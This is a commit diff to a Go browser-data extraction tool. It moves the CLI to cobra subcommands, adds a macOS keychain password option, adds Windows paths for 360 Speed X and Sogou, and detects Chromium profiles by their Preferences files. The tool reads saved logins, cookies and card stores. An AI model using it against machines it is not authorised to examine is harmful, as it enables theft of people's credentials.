feat: cli migrate to cobra with subcommands (#550)

* feat: migrate CLI to cobra with dump/list/version subcommands (#546)
* fix: remove residual duckduckgo references and add README/LICENSE to release archives
* fix: address PR review feedback from Copilot

browser/browser.go

@@ -16,19 +16,30 @@ import (
 type Browser interface {
 	BrowserName() string
 	ProfileName() string
+	ProfileDir() string
 	Extract(categories []types.Category) (*types.BrowserData, error)
 }
 
-// PickBrowsers returns browsers matching the given name.
-// When name is "all", all known browsers are tried.
-// profilePath overrides the default user data directory (only when targeting a specific browser).
-func PickBrowsers(name, profilePath string) ([]Browser, error) {
-	return pickFromConfigs(platformBrowsers(), name, profilePath)
+// PickOptions configures which browsers to pick.
+type PickOptions struct {
+	Name             string // browser name filter: "all"|"chrome"|"firefox"|...
+	ProfilePath      string // custom profile directory override
+	KeychainPassword string // macOS keychain password (ignored on other platforms)
+}
+
+// PickBrowsers returns browsers matching the given options.
+// When Name is "all", all known browsers are tried.
+// ProfilePath overrides the default user data directory (only when targeting a specific browser).
+func PickBrowsers(opts PickOptions) ([]Browser, error) {
+	return pickFromConfigs(platformBrowsers(), opts)
 }
 
 // pickFromConfigs is the testable core of PickBrowsers.
-func pickFromConfigs(configs []types.BrowserConfig, name, profilePath string) ([]Browser, error) {
-	name = strings.ToLower(name)
+func pickFromConfigs(configs []types.BrowserConfig, opts PickOptions) ([]Browser, error) {
+	name := strings.ToLower(opts.Name)
+	if name == "" {
+		name = "all"
+	}
 
 	var browsers []Browser
 	for _, cfg := range configs {
@@ -36,14 +47,18 @@ func pickFromConfigs(configs []types.BrowserConfig, name, profilePath string) ([
 			continue
 		}
 
-		if profilePath != "" && name != "all" {
+		if opts.ProfilePath != "" && name != "all" {
 			if cfg.Kind == types.KindFirefox {
-				cfg.UserDataDir = filepath.Dir(filepath.Clean(profilePath))
+				cfg.UserDataDir = filepath.Dir(filepath.Clean(opts.ProfilePath))
 			} else {
-				cfg.UserDataDir = profilePath
+				cfg.UserDataDir = opts.ProfilePath
 			}
 		}
 
+		if opts.KeychainPassword != "" {
+			cfg.KeychainPassword = opts.KeychainPassword
+		}
+
 		bs, err := newBrowsers(cfg)
 		if err != nil {
 			log.Errorf("browser %s: %v", cfg.Name, err)

browser/browser_test.go

@@ -27,6 +27,7 @@ func TestListBrowsers(t *testing.T) {
 
 func TestPickFromConfigs_NameFilter(t *testing.T) {
 	dir := t.TempDir()
+	mkFile(t, dir, "Default", "Preferences")
 	mkFile(t, dir, "Default", "Login Data")
 	mkFile(t, dir, "Default", "History")
 
@@ -67,7 +68,7 @@ func TestPickFromConfigs_NameFilter(t *testing.T) {
 
 	for _, tt := range tests {
 		t.Run(tt.name, func(t *testing.T) {
-			browsers, err := pickFromConfigs(configs, tt.pickName, "")
+			browsers, err := pickFromConfigs(configs, PickOptions{Name: tt.pickName})
 			require.NoError(t, err)
 			assertBrowsers(t, browsers, tt.wantNames, tt.wantProfiles)
 		})
@@ -76,8 +77,10 @@ func TestPickFromConfigs_NameFilter(t *testing.T) {
 
 func TestPickFromConfigs_BrowserKind(t *testing.T) {
 	chromeDir := t.TempDir()
+	mkFile(t, chromeDir, "Default", "Preferences")
 	mkFile(t, chromeDir, "Default", "Login Data")
 	mkFile(t, chromeDir, "Default", "History")
+	mkFile(t, chromeDir, "Profile 1", "Preferences")
 	mkFile(t, chromeDir, "Profile 1", "Login Data")
 	mkFile(t, chromeDir, "Profile 1", "History")
 
@@ -86,6 +89,7 @@ func TestPickFromConfigs_BrowserKind(t *testing.T) {
 	mkFile(t, firefoxDir, "abc123.default-release", "places.sqlite")
 
 	yandexDir := t.TempDir()
+	mkFile(t, yandexDir, "Default", "Preferences")
 	mkFile(t, yandexDir, "Default", "Ya Passman Data")
 	mkFile(t, yandexDir, "Default", "History")
 
@@ -129,7 +133,7 @@ func TestPickFromConfigs_BrowserKind(t *testing.T) {
 
 	for _, tt := range tests {
 		t.Run(tt.name, func(t *testing.T) {
-			browsers, err := pickFromConfigs(tt.configs, "all", "")
+			browsers, err := pickFromConfigs(tt.configs, PickOptions{Name: "all"})
 			require.NoError(t, err)
 			assertBrowsers(t, browsers, tt.wantNames, tt.wantProfiles)
 		})
@@ -138,8 +142,10 @@ func TestPickFromConfigs_BrowserKind(t *testing.T) {
 
 func TestPickFromConfigs_ProfilePath(t *testing.T) {
 	chromeDir := t.TempDir()
+	mkFile(t, chromeDir, "Default", "Preferences")
 	mkFile(t, chromeDir, "Default", "Login Data")
 	mkFile(t, chromeDir, "Default", "History")
+	mkFile(t, chromeDir, "Profile 1", "Preferences")
 	mkFile(t, chromeDir, "Profile 1", "Login Data")
 	mkFile(t, chromeDir, "Profile 1", "History")
 
@@ -189,7 +195,7 @@ func TestPickFromConfigs_ProfilePath(t *testing.T) {
 
 	for _, tt := range tests {
 		t.Run(tt.name, func(t *testing.T) {
-			browsers, err := pickFromConfigs(tt.configs, tt.pickName, tt.profilePath)
+			browsers, err := pickFromConfigs(tt.configs, PickOptions{Name: tt.pickName, ProfilePath: tt.profilePath})
 			require.NoError(t, err)
 			assertBrowsers(t, browsers, tt.wantNames, tt.wantProfiles)
 		})

browser/browser_windows.go

@@ -68,6 +68,12 @@ func platformBrowsers() []types.BrowserConfig {
 			Kind:        types.KindChromiumYandex,
 			UserDataDir: homeDir + "/AppData/Local/Yandex/YandexBrowser/User Data",
 		},
+		{
+			Key:         "360x",
+			Name:        speed360XName,
+			Kind:        types.KindChromium,
+			UserDataDir: homeDir + "/AppData/Local/360ChromeX/Chrome/User Data",
+		},
 		{
 			Key:         "360",
 			Name:        speed360Name,
@@ -90,7 +96,7 @@ func platformBrowsers() []types.BrowserConfig {
 			Key:         "sogou",
 			Name:        sogouName,
 			Kind:        types.KindChromium,
-			UserDataDir: homeDir + "/AppData/Roaming/SogouExplorer/Webkit",
+			UserDataDir: homeDir + "/AppData/Local/Sogou/SogouExplorer/User Data",
 		},
 		{
 			Key:         "firefox",

browser/chromium/chromium.go

@@ -57,6 +57,7 @@ func NewBrowsers(cfg types.BrowserConfig) ([]*Browser, error) {
 }
 
 func (b *Browser) BrowserName() string { return b.cfg.Name }
+func (b *Browser) ProfileDir() string  { return b.profileDir }
 func (b *Browser) ProfileName() string {
 	if b.profileDir == "" {
 		return ""
@@ -173,8 +174,9 @@ func (b *Browser) extractCategory(data *types.BrowserData, cat types.Category, m
 	}
 }
 
-// discoverProfiles lists subdirectories of userDataDir that contain at least
-// one known data source. Each such directory is a browser profile.
+// discoverProfiles lists subdirectories of userDataDir that are valid
+// Chromium profile directories. A directory is considered a profile if it
+// contains a "Preferences" file, which Chromium creates for every profile.
 func discoverProfiles(userDataDir string, sources map[types.Category][]sourcePath) []string {
 	entries, err := os.ReadDir(userDataDir)
 	if err != nil {
@@ -188,18 +190,41 @@ func discoverProfiles(userDataDir string, sources map[types.Category][]sourcePat
 			continue
 		}
 		dir := filepath.Join(userDataDir, e.Name())
-		if hasAnySource(sources, dir) {
+		if isProfileDir(dir) {
 			profiles = append(profiles, dir)
 		}
 	}
 
-	// Flat layout fallback (older Opera): data files directly in userDataDir
+	// Flat layout fallback (older Opera): data files directly in userDataDir.
+	// Opera stores data alongside Local State in userDataDir itself, so check
+	// for any known source file instead of Preferences.
 	if len(profiles) == 0 && hasAnySource(sources, userDataDir) {
 		profiles = append(profiles, userDataDir)
 	}
 	return profiles
 }
 
+// profileMarkers are filenames that identify a directory as a Chromium profile.
+// Chromium creates a per-profile preferences file on first use; checking for
+// its existence filters out non-profile subdirectories (Crashpad, ShaderCache, etc.).
+//
+//   - "Preferences"    — standard Chromium and all major forks (Chrome, Edge, Brave, …)
+//   - "Preferences_02" — Tencent-based browsers (QQ Browser, Sogou Explorer)
+var profileMarkers = []string{
+	"Preferences",
+	"Preferences_02",
+}
+
+// isProfileDir reports whether dir is a valid Chromium profile directory.
+func isProfileDir(dir string) bool {
+	for _, name := range profileMarkers {
+		if _, err := os.Stat(filepath.Join(dir, name)); err == nil {
+			return true
+		}
+	}
+	return false
+}
+
 // hasAnySource checks if dir contains at least one source file or directory.
 func hasAnySource(sources map[types.Category][]sourcePath, dir string) bool {
 	for _, candidates := range sources {

browser/chromium/chromium_test.go

@@ -45,6 +45,7 @@ func buildFixtures() {
 	fixture.chrome = filepath.Join(fixture.root, "chrome")
 	mkFile(fixture.chrome, "Local State")
 	for _, p := range []string{"Default", "Profile 1", "Profile 3"} {
+		mkFile(fixture.chrome, p, "Preferences")
 		mkFile(fixture.chrome, p, "Login Data")
 		mkFile(fixture.chrome, p, "History")
 		mkFile(fixture.chrome, p, "Bookmarks")
@@ -60,6 +61,7 @@ func buildFixtures() {
 
 	fixture.opera = filepath.Join(fixture.root, "opera")
 	mkFile(fixture.opera, "Local State")
+	mkFile(fixture.opera, "Default", "Preferences")
 	mkFile(fixture.opera, "Default", "Login Data")
 	mkFile(fixture.opera, "Default", "History")
 	mkFile(fixture.opera, "Default", "Bookmarks")
@@ -73,6 +75,7 @@ func buildFixtures() {
 
 	fixture.yandex = filepath.Join(fixture.root, "yandex")
 	mkFile(fixture.yandex, "Local State")
+	mkFile(fixture.yandex, "Default", "Preferences")
 	mkFile(fixture.yandex, "Default", "Ya Passman Data")
 	mkFile(fixture.yandex, "Default", "Ya Credit Cards")
 	mkFile(fixture.yandex, "Default", "History")
@@ -80,14 +83,17 @@ func buildFixtures() {
 	mkFile(fixture.yandex, "Default", "Bookmarks")
 
 	fixture.oldCookies = filepath.Join(fixture.root, "old-cookies")
+	mkFile(fixture.oldCookies, "Default", "Preferences")
 	mkFile(fixture.oldCookies, "Default", "History")
 	mkFile(fixture.oldCookies, "Default", "Cookies")
 
 	fixture.bothCookies = filepath.Join(fixture.root, "both-cookies")
+	mkFile(fixture.bothCookies, "Default", "Preferences")
 	mkFile(fixture.bothCookies, "Default", "Cookies")
 	mkFile(fixture.bothCookies, "Default", "Network", "Cookies")
 
 	fixture.leveldb = filepath.Join(fixture.root, "leveldb")
+	mkFile(fixture.leveldb, "Default", "Preferences")
 	mkFile(fixture.leveldb, "Default", "History")
 	mkDir(fixture.leveldb, "Default", "Local Storage", "leveldb")
 	mkFile(fixture.leveldb, "Default", "Local Storage", "leveldb", "000001.ldb")
@@ -95,6 +101,7 @@ func buildFixtures() {
 	mkFile(fixture.leveldb, "Default", "Session Storage", "000001.ldb")
 
 	fixture.leveldbOnly = filepath.Join(fixture.root, "leveldb-only")
+	mkFile(fixture.leveldbOnly, "Default", "Preferences")
 	mkDir(fixture.leveldbOnly, "Default", "Local Storage", "leveldb")
 	mkDir(fixture.leveldbOnly, "Default", "Session Storage")
 

browser/consts.go

@@ -19,7 +19,8 @@ const (
 	coccocName     = "CocCoc"
 	yandexName     = "Yandex"
 	firefoxName    = "Firefox"
-	speed360Name   = "360speed"
+	speed360Name   = "360 Speed"
+	speed360XName  = "360 Speed X"
 	qqBrowserName  = "QQ"
 	dcBrowserName  = "DC"
 	sogouName      = "Sogou"

browser/firefox/firefox.go

@@ -47,6 +47,7 @@ func NewBrowsers(cfg types.BrowserConfig) ([]*Browser, error) {
 }
 
 func (b *Browser) BrowserName() string { return b.cfg.Name }
+func (b *Browser) ProfileDir() string  { return b.profileDir }
 func (b *Browser) ProfileName() string {
 	if b.profileDir == "" {
 		return ""